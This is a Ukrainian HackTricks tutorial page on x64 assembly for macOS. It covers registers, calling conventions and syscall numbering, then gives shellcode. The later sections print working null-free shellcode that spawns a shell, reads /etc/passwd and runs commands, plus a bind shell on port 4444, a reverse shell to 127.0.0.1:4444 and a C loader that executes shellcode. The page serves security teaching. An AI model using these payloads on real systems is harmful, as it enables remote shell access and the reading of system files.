Ukranian - Ht
HackTricks Training Twitter Linkedin Sponsor

Introduction to x64

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Вступ до x64

x64, також відомий як x86-64, є архітектурою 64-бітних процесорів, яка переважно використовується в настільних комп'ютерах та серверному обчисленні. Походить від архітектури x86, розробленої Intel, і пізніше прийнятої AMD під назвою AMD64, це популярна архітектура в особистих комп'ютерах та серверах сьогодні.

Регістри

x64 розширює архітектуру x86, маючи 16 регістрів загального призначення, позначених як rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, та r8 до r15. Кожен з них може зберігати значення 64-біт (8 байт). Ці регістри також мають підрегістри на 32 біти, 16 біт та 8 біт для сумісності та виконання конкретних завдань.

  1. rax - Традиційно використовується для значень повернення з функцій.

  2. rbx - Часто використовується як базовий регістр для операцій з пам'яттю.

  3. rcx - Зазвичай використовується для лічильників циклів.

  4. rdx - Використовується у різних ролях, включаючи розширені арифметичні операції.

  5. rbp - Вказівник бази для стекового кадру.

  6. rsp - Вказівник стеку, який відстежує верх стеку.

  7. rsi та rdi - Використовуються для джерела та призначення індексів у операціях з рядками/пам'яттю.

  8. r8 до r15 - Додаткові регістри загального призначення, введені в x64.

Конвенція виклику

Конвенція виклику x64 відрізняється в залежності від операційних систем. Наприклад:

  • Windows: Перші чотири параметри передаються в регістри rcx, rdx, r8, та r9. Додаткові параметри поміщаються в стек. Значення повернення знаходиться в rax.

  • System V (зазвичай використовується в подібних до UNIX системах): Перші шість цілих або вказівникових параметрів передаються в регістри rdi, rsi, rdx, rcx, r8, та r9. Значення повернення також у rax.

Якщо у функції більше шести вхідних параметрів, решта передається в стек. RSP, вказівник стеку, повинен бути вирівняний на 16 байт, що означає, що адреса, на яку він вказує, повинна бути кратною 16 до будь-якого виклику. Це означає, що зазвичай нам потрібно переконатися, що RSP належним чином вирівняний у нашому шелл-коді перед викликом функції. Однак на практиці системні виклики працюють багато разів навіть якщо це вимога не виконується.

Конвенція виклику в Swift

Swift має свою власну конвенцію виклику, яку можна знайти за посиланням https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64

Загальні Інструкції

Інструкції x64 мають багатий набір, зберігаючи сумісність з раніше використовуваними інструкціями x86 та вводячи нові.

  • mov: Переміщення значення з одного регістра або місця в пам'яті в інше.

  • Приклад: mov rax, rbx — Переміщує значення з rbx в rax.

  • push та pop: Додавання або вилучення значень з стеку.

  • Приклад: push rax — Додає значення з rax на стек.

  • Приклад: pop rax — Вилучає верхнє значення зі стеку в rax.

  • add та sub: Операції додавання та віднімання.

  • Приклад: add rax, rcx — Додає значення в rax та rcx, зберігаючи результат в rax.

  • mul та div: Операції множення та ділення. Зауважте: вони мають конкретні поведінки щодо використання операндів.

  • call та ret: Використовуються для виклику та повернення з функцій.

  • int: Використовується для виклику програмного переривання. Наприклад, int 0x80 використовувалося для системних викликів в 32-бітних x86 Linux.

  • cmp: Порівняння двох значень та встановлення прапорців ЦП на основі результату.

  • Приклад: cmp rax, rdx — Порівнює rax з rdx.

  • je, jne, jl, jge, ...: Умовні стрибки, які змінюють потік управління на основі результатів попереднього cmp або тесту.

  • Приклад: Після інструкції cmp rax, rdx, je label — Переходить на label, якщо rax дорівнює rdx.

  • syscall: Використовується для системних викликів в деяких системах x64 (наприклад, сучасний Unix).

  • sysenter: Оптимізована інструкція системного виклику на деяких платформах.

Пролог Функції

  1. Додати старий вказівник бази: push rbp (зберігає вказівник бази викликача)

  2. Перемістити поточний вказівник стеку в вказівник бази: mov rbp, rsp (налаштовує новий вказівник бази для поточної функції)

  3. Виділити місце в стеці для локальних змінних: sub rsp, <розмір> (де <розмір> - кількість байтів, необхідних)

Епілог Функції

  1. Перемістити поточний вказівник бази в вказівник стеку: mov rsp, rbp (звільнити локальні змінні)

  2. Вилучити старий вказівник бази зі стеку: pop rbp (відновлює вказівник бази викликача)

  3. Повернення: ret (повертає управління викликачу)

macOS

системні виклики

Існують різні класи системних викликів, ви можете знайти їх тут:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Потім ви можете знайти кожен номер системного виклику за цим посиланням:

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Таким чином, для виклику системного виклику open (5) з класу Unix/BSD потрібно додати: 0x2000000

Отже, номер системного виклику для виклику open буде 0x2000005

Шелл-коди

Для компіляції:

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

Для вилучення байтів:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
С код для тестування shellcode

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Оболонка

Взято з [**тут**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) та пояснено.

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='з adr'>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

Читання за допомогою cat

Мета полягає в тому, щоб виконати execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес).

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Виклик команди за допомогою sh

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Прив'язка оболонки

Прив'язка оболонки з https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html на порт 4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Зворотній Shell

Зворотній shell з https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Зворотній shell на 127.0.0.1:4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

PreviousmacOS Apps - Inspecting, debugging and FuzzingNextIntroduction to ARM64v8

Last updated